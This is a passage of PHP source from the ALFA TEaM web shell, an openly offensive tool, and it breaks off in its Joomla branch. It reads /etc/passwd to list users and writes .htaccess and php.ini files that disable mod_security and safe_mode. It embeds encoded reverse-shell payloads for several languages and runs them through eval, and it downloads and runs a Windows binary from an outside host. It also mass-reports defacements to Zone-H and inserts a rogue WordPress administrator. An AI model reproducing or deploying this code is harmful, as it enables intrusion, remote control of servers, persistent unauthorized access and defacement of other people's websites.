  4108. <tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
  4109. break;
  4110. }
  4111. }
  4112. }
  4113. }
  4114. }
  4115. if (!empty($_POST['alfa5']) && isset($_POST['alfa5'])) {
  4116. if (!_alfa_file_exists("/etc/virtual/domainowners")) {
  4117. echo __pre();
  4118. $i = 0;
  4119. while ($i < 60000) {
  4120. $line = @posix_getpwuid($i);
  4121. if (!empty($line)) {
  4122. while (list($key, $vl) = each($line)) {
  4123. echo $vl . "\n";
  4124. break;
  4125. }
  4126. }
  4127. $i++;
  4128. }
  4129. } else {
  4130. echo __pre();
  4131. $users = _alfa_file("/etc/virtual/domainowners");
  4132. foreach ($users as $boz) {
  4133. $user = explode(":", $boz);
  4134. echo trim($user[1]) . '<br>';
  4135. }
  4136. }
  4137. }
  4138. if (!empty($_POST['alfa4']) && isset($_POST['alfa4'])) {
  4139. echo __pre();
  4140. if (_alfa_can_runCommand(true, true)) {
  4141. echo __read_file("/etc/passwd");
  4142. } elseif (function_exists("posix_getpwuid")) {
  4143. for ($uid = 0; $uid < 60000; $uid++) {
  4144. $ara = @posix_getpwuid($uid);
  4145. if (!empty($ara)) {
  4146. while (list($key, $val) = each($ara)) {
  4147. echo "$val:";
  4148. }
  4149. echo "\n";
  4150. }
  4151. }
  4152. } else {
  4153. __alert('failed...');
  4154. }
  4155. }
  4156. if (!empty($_POST['alfa2']) && isset($_POST['alfa2'])) {
  4157. @__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
  4158. echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
  4159. }
  4160. if (!empty($_POST['alfa1']) && isset($_POST['alfa1'])) {
  4161. @__write_file($GLOBALS['cwd'] . "php.ini", "safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
  4162. echo '<center><b><big> php.ini created...!</center></b></big>';
  4163. }
  4164. if (!empty($_POST['alfa3']) && isset($_POST['alfa3'])) {
  4165. @__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
  4166. echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
  4167. }
  4168. echo "<br></div>";
  4169. alfafooter();
  4170. }
  4171. function __get_resource($content)
  4172. {
  4173. return @gzinflate(__ZGVjb2Rlcg($content));
  4174. }
  4175. function __write_file($file, $content)
  4176. {
  4177. if ($fh = @fopen($file, "wb")) {
  4178. if (fwrite($fh, $content) !== false)
  4179. return true;
  4180. }
  4181. return false;
  4182. }
  4183. function bcinit($evalType, $evalCode, $evalOptions, $evalArguments)
  4184. {
  4185. $res = "<font color='green'>[ Success...! ]</font>";
  4186. $err = "<font color='red'>[ Failed...! ]</font>";
  4187. if ($evalOptions != "")
  4188. $evalOptions = $evalOptions . " ";
  4189. if ($evalArguments != "")
  4190. $evalArguments = " " . $evalArguments;
  4191. if ($evalType == "c") {
  4192. $tmpdir = ALFA_TEMPDIR;
  4193. chdir($tmpdir);
  4194. if (is_writable($tmpdir)) {
  4195. $uniq = substr(md5(time()), 0, 8);
  4196. $filename = $evalType . $uniq . ".c";
  4197. $path = $filename;
  4198. if (__write_file($path, $evalCode)) {
  4199. $ext = ($GLOBALS['sys'] == 'win') ? ".exe" : ".out";
  4200. $pathres = $filename . $ext;
  4201. $evalOptions = "-o " . $pathres . " " . $evalOptions;
  4202. $cmd = "gcc " . $evalOptions . $path;
  4203. alfaEx($cmd);
  4204. if (is_file($pathres)) {
  4205. if (chmod($pathres, 0755)) {
  4206. $cmd = $pathres . $evalArguments;
  4207. alfaEx($cmd);
  4208. } else {
  4209. $res = $err;
  4210. }
  4211. unlink($pathres);
  4212. } else {
  4213. $res = $err;
  4214. }
  4215. unlink($path);
  4216. } else {
  4217. $res = $err;
  4218. }
  4219. }
  4220. return $res;
  4221. } elseif ($evalType == "java") {
  4222. $tmpdir = ALFA_TEMPDIR;
  4223. chdir($tmpdir);
  4224. if (is_writable($tmpdir)) {
  4225. if (preg_match("/class\ ([^{]+){/i", $evalCode, $r)) {
  4226. $classname = trim($r[1]);
  4227. $filename = $classname;
  4228. } else {
  4229. $uniq = substr(md5(time()), 0, 8);
  4230. $filename = $evalType . $uniq;
  4231. $evalCode = "class " . $filename . " { " . $evalCode . " } ";
  4232. }
  4233. $path = $filename . ".java";
  4234. if (__write_file($path, $evalCode)) {
  4235. $cmd = "javac " . $evalOptions . $path;
  4236. alfaEx($cmd);
  4237. $pathres = $filename . ".class";
  4238. if (is_file($pathres)) {
  4239. if (chmod($pathres, 0755)) {
  4240. $cmd = "java " . $filename . $evalArguments;
  4241. alfaEx($cmd);
  4242. } else {
  4243. $res = $err;
  4244. }
  4245. unlink($pathres);
  4246. } else {
  4247. $res = $err;
  4248. }
  4249. unlink($path);
  4250. } else {
  4251. $res = $err;
  4252. }
  4253. }
  4254. return $res;
  4255. }
  4256. return false;
  4257. }
  4258. function alfaconnect()
  4259. {
  4260. alfahead();
  4261. $php = "7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
  4262. $python = "pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
  4263. $perl = "lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
  4264. $ruby = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
  4265. $node = "nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
  4266. $c = "tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
  4267. $java = "lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
  4268. echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
  4269. echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
  4270. <div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
  4271. $cbArr = array(
  4272. "php" => "Php",
  4273. "perl" => "Perl",
  4274. "python" => "Python",
  4275. "ruby" => "Ruby",
  4276. "c" => "C",
  4277. "java" => "Java",
  4278. "node" => "NodeJs",
  4279. "bcwin" => "Windows"
  4280. );
  4281. foreach ($cbArr as $key => $val) {
  4282. echo ("<option value='{$key}' " . ($GLOBALS['sys'] == 'win' ? 'selected' : '') . ">{$val}</option>");
  4283. }
  4284. echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
  4285. if (isset($_POST['alfa1']) && !empty($_POST['alfa1'])) {
  4286. $lang = $_POST['alfa1'];
  4287. $ip = $_POST['alfa2'];
  4288. $port = $_POST['alfa3'];
  4289. $arg = ($_POST['alfa4'] == 'bind' ? $port : $port . ' ' . $ip);
  4290. $tmpdir = ALFA_TEMPDIR;
  4291. $name = $tmpdir . '/' . $lang . uniqid() . rand(1, 99999);
  4292. $allow = array(
  4293. 'perl',
  4294. 'ruby',
  4295. 'python',
  4296. 'node'
  4297. );
  4298. eval('$lan=$' . $lang . ';');
  4299. if (in_array($lang, $allow)) {
  4300. if (__write_file($name, __get_resource($lan))) {
  4301. if (_alfa_can_runCommand(true, true)) {
  4302. $os = ($GLOBALS['sys'] != 'win') ? '1>/dev/null 2>&1 &' : '';
  4303. $out = alfaEx("$lang $name $arg $os");
  4304. if ($out == '') {
  4305. $out = "<font color='green'><center>[ Finished...! ]</center></font>";
  4306. }
  4307. echo ("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
  4308. }
  4309. } else {
  4310. echo ("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
  4311. }
  4312. }
  4313. if ($lang == 'java' || $lang == 'c') {
  4314. $code = __get_resource($lan);
  4315. $out = nl2br(bcinit($lang, $code, '', ''));
  4316. echo ("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
  4317. }
  4318. if ($lang == 'bcwin') {
  4319. $alfa = new AlfaCURL();
  4320. $s = $alfa->Send('http://solevisible.com/bc/windows.exe');
  4321. $tmpdir = ALFA_TEMPDIR;
  4322. $f = @fopen($tmpdir . '/bcwin.exe', 'w+');
  4323. @fwrite($f, $s);
  4324. @fclose($f);
  4325. $out = alfaEx($tmpdir . "/bcwin.exe " . $_POST['alfa2'] . " " . $_POST['alfa3']);
  4326. }
  4327. if ($lang == 'php') {
  4328. echo "<pre class=ml1 style='margin-top:5px'>";
  4329. $code = __get_resource($lan);
  4330. if ($code !== false) {
  4331. $code = "\$target = \"" . $arg . "\";\n" . $code;
  4332. eval($code);
  4333. echo ("<center><font color='green'>[ Finished...! ]</font></center>");
  4334. }
  4335. echo "</pre>";
  4336. }
  4337. }
  4338. echo "</div>";
  4339. alfafooter();
  4340. }
  4341. function alfazoneh()
  4342. {
  4343. alfahead();
  4344. echo '<div class=header>';
  4345. if (!function_exists('curl_version')) {
  4346. echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
  4347. }
  4348. $hackmode = array(
  4349. 'known vulnerability (i.e. unpatched system)',
  4350. 'undisclosed (new) vulnerability',
  4351. 'configuration / admin. mistake',
  4352. 'brute force attack',
  4353. 'social engineering',
  4354. 'Web Server intrusion',
  4355. 'Web Server external module intrusion',
  4356. 'Mail Server intrusion',
  4357. 'FTP Server intrusion',
  4358. 'SSH Server intrusion',
  4359. 'Telnet Server intrusion',
  4360. 'RPC Server intrusion',
  4361. 'Shares misconfiguration',
  4362. 'Other Server intrusion',
  4363. 'SQL Injection',
  4364. 'URL Poisoning',
  4365. 'File Inclusion',
  4366. 'Other Web Application bug',
  4367. 'Remote administrative panel access bruteforcing',
  4368. 'Remote administrative panel access password guessing',
  4369. 'Remote administrative panel access social engineering',
  4370. 'Attack against administrator(password stealing/sniffing)',
  4371. 'Access credentials through Man In the Middle attack',
  4372. 'Remote service password guessing',
  4373. 'Remote service password bruteforce',
  4374. 'Rerouting after attacking the Firewall',
  4375. 'Rerouting after attacking the Router',
  4376. 'DNS attack through social engineering',
  4377. 'DNS attack through cache poisoning',
  4378. 'Not available',
  4379. 'Cross-Site Scripting'
  4380. );
  4381. $reason = array(
  4382. 'Heh...just for fun!',
  4383. 'Revenge against that website',
  4384. 'Political reasons',
  4385. 'As a challenge',
  4386. 'I just want to be the best defacer',
  4387. 'Patriotism',
  4388. 'Not available'
  4389. );
  4390. echo '
  4391. <center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
  4392. <form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
  4393. <input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
  4394. <br>
  4395. <select id="text" name="hackmode" style="width:400px;">';
  4396. $x = 1;
  4397. foreach ($hackmode as $mode) {
  4398. echo ('<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>');
  4399. $x++;
  4400. }
  4401. echo '</select><br><select id="text" name="reason" style="width:200px;">';
  4402. $x = 1;
  4403. foreach ($reason as $mode) {
  4404. echo ('<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>');
  4405. $x++;
  4406. }
  4407. echo '</select><br>
  4408. <textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
  4409. <p><input type="submit" value=" " name="go" /></p>
  4410. </form></center>';
  4411. if ($_POST['alfa5'] && $_POST['alfa5'] == '>>') {
  4412. ob_start();
  4413. $hacker = $_POST['alfa1'];
  4414. $method = $_POST['alfa2'];
  4415. $neden = $_POST['alfa3'];
  4416. $site = $_POST['alfa4'];
  4417. if (empty($hacker)) {
  4418. die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
  4419. } elseif ($method == "------------------------------------SELECT-------------------------------------") {
  4420. die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
  4421. } elseif ($neden == "------------------------------------SELECT-------------------------------------") {
  4422. die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
  4423. } elseif (empty($site)) {
  4424. die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
  4425. }
  4426. $i = 0;
  4427. $sites = explode("\n", $site);
  4428. $alfa = new AlfaCURL();
  4429. while ($i < count($sites)) {
  4430. if (substr($sites[$i], 0, 4) != "http") {
  4431. $sites[$i] = "http://" . $sites[$i];
  4432. }
  4433. $alfa->Send("http://www.zone-h.com/notify/single", "post", "defacer=" . $hacker . "&domain1=" . $sites[$i] . "&hackmode=" . $method . "&reason=" . $neden);
  4434. ++$i;
  4435. }
  4436. echo __pre() . "<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
  4437. }
  4438. echo "</div>";
  4439. alfafooter();
  4440. }
  4441. function alfapwchanger()
  4442. {
  4443. alfahead();
  4444. echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
  4445. <center><h3>';
  4446. $vals = array(
  4447. 'WordPress' => array(
  4448. 'wp',
  4449. 2
  4450. ),
  4451. 'Joomla' => array(
  4452. 'joomla',
  4453. 3
  4454. ),
  4455. 'vBulletin' => array(
  4456. 'vb',
  4457. 5
  4458. ),
  4459. 'phpBB' => array(
  4460. 'phpbb',
  4461. 6
  4462. ),
  4463. 'WHMCS' => array(
  4464. 'whmcs',
  4465. 7
  4466. ),
  4467. 'MyBB' => array(
  4468. 'mybb',
  4469. 8
  4470. ),
  4471. 'Php Nuke' => array(
  4472. 'nuke',
  4473. 9
  4474. ),
  4475. 'Drupal' => array(
  4476. 'drupal',
  4477. 10
  4478. ),
  4479. 'SMF' => array(
  4480. 'smf',
  4481. 11
  4482. )
  4483. );
  4484. Alfa_Create_A_Tag('pwchanger', $vals);
  4485. echo '</h3></center>';
  4486. if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'wp') {
  4487. echo __pre() . '<center><center><div class="txtfont_header">| WordPress |</div>
  4488. <p>' . getConfigHtml('wp') . '</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  4489. $table = array(
  4490. 'td1' => array(
  4491. 'color' => 'FFFFFF',
  4492. 'tdName' => 'Mysql Host',
  4493. 'id' => 'db_host',
  4494. 'inputName' => 'localhost',
  4495. 'inputValue' => 'localhost',
  4496. 'inputSize' => '50'
  4497. ),
  4498. 'td2' => array(
  4499. 'color' => 'FFFFFF',
  4500. 'tdName' => 'Db Name',
  4501. 'id' => 'db_name',
  4502. 'inputName' => 'database',
  4503. 'inputValue' => '',
  4504. 'inputSize' => '50'
  4505. ),
  4506. 'td3' => array(
  4507. 'color' => 'FFFFFF',
  4508. 'tdName' => 'Db User',
  4509. 'id' => 'db_user',
  4510. 'inputName' => 'username',
  4511. 'inputValue' => '',
  4512. 'inputSize' => '50'
  4513. ),
  4514. 'td4' => array(
  4515. 'color' => 'FFFFFF',
  4516. 'tdName' => 'Db Pass',
  4517. 'id' => 'db_pw',
  4518. 'inputName' => 'password',
  4519. 'inputValue' => '',
  4520. 'inputSize' => '50'
  4521. ),
  4522. 'td5' => array(
  4523. 'color' => 'FFFFFF',
  4524. 'tdName' => 'Table Prefix',
  4525. 'id' => 'db_prefix',
  4526. 'inputName' => 'prefix',
  4527. 'inputValue' => 'wp_',
  4528. 'inputSize' => '50'
  4529. ),
  4530. 'td6' => array(
  4531. 'color' => 'FF0000',
  4532. 'tdName' => 'Admin User',
  4533. 'inputName' => 'admin',
  4534. 'inputValue' => 'admin',
  4535. 'inputSize' => '50'
  4536. ),
  4537. 'td7' => array(
  4538. 'color' => 'FF0000',
  4539. 'tdName' => 'Admin Pass',
  4540. 'inputName' => 'kh',
  4541. 'inputValue' => 'solevisible',
  4542. 'inputSize' => '50',
  4543. 'disabled' => true
  4544. ),
  4545. 'td8' => array(
  4546. 'color' => 'FF0000',
  4547. 'tdName' => 'Admin Email',
  4548. 'inputName' => 'email',
  4549. 'inputValue' => 'solevisible@fbi.gov',
  4550. 'inputSize' => '50'
  4551. )
  4552. );
  4553. create_table($table);
  4554. echo '<p><input value=" " name="send" type="submit"></p></form>';
  4555. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
  4556. $localhost = $_POST['alfa3'];
  4557. $database = $_POST['alfa4'];
  4558. $username = $_POST['alfa5'];
  4559. $password = $_POST['alfa6'];
  4560. $admin = $_POST['alfa8'];
  4561. $SQL = $_POST['alfa9'];
  4562. $prefix = $_POST['alfa10'];
  4563. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  4564. $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
  4565. $solevisible = @mysqli_query($conn, "select ID from " . $prefix . "users where user_login='" . $admin . "'") or die(mysqli_error($conn));
  4566. $sole = @mysqli_num_rows($solevisible);
  4567. if ($sole == 1) {
  4568. $solevis = @mysqli_fetch_assoc($solevisible);
  4569. $res = $solevis['ID'];
  4570. }
  4571. $solevisible = @mysqli_query($conn, "insert into " . $prefix . "usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'" . $res . "','first_name','solevisible'),(null,'" . $res . "','last_name','solevisible'),(null,'" . $res . "','nickname','solevisible'),(null,'" . $res . "','description','solevisible'),(null,'" . $res . "','rich_editing','true'),(null,'" . $res . "','comment_shortcuts','false'),(null,'" . $res . "','admin_color','fresh'),(null,'" . $res . "','use_ssl','0'),(null,'" . $res . "','show_admin_bar_front','true'),(null,'" . $res . "','" . $prefix . "capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'" . $res . "','" . $prefix . "user_level','10'),(null,'" . $res . "','show_welcome_panel','1'),(null,'" . $res . "','" . $prefix . "dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
  4572. if ($solevisible) {
  4573. __alert('Success... ' . $admin . ' is created...');
  4574. }
  4575. }
  4576. }
  4577. if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla') {
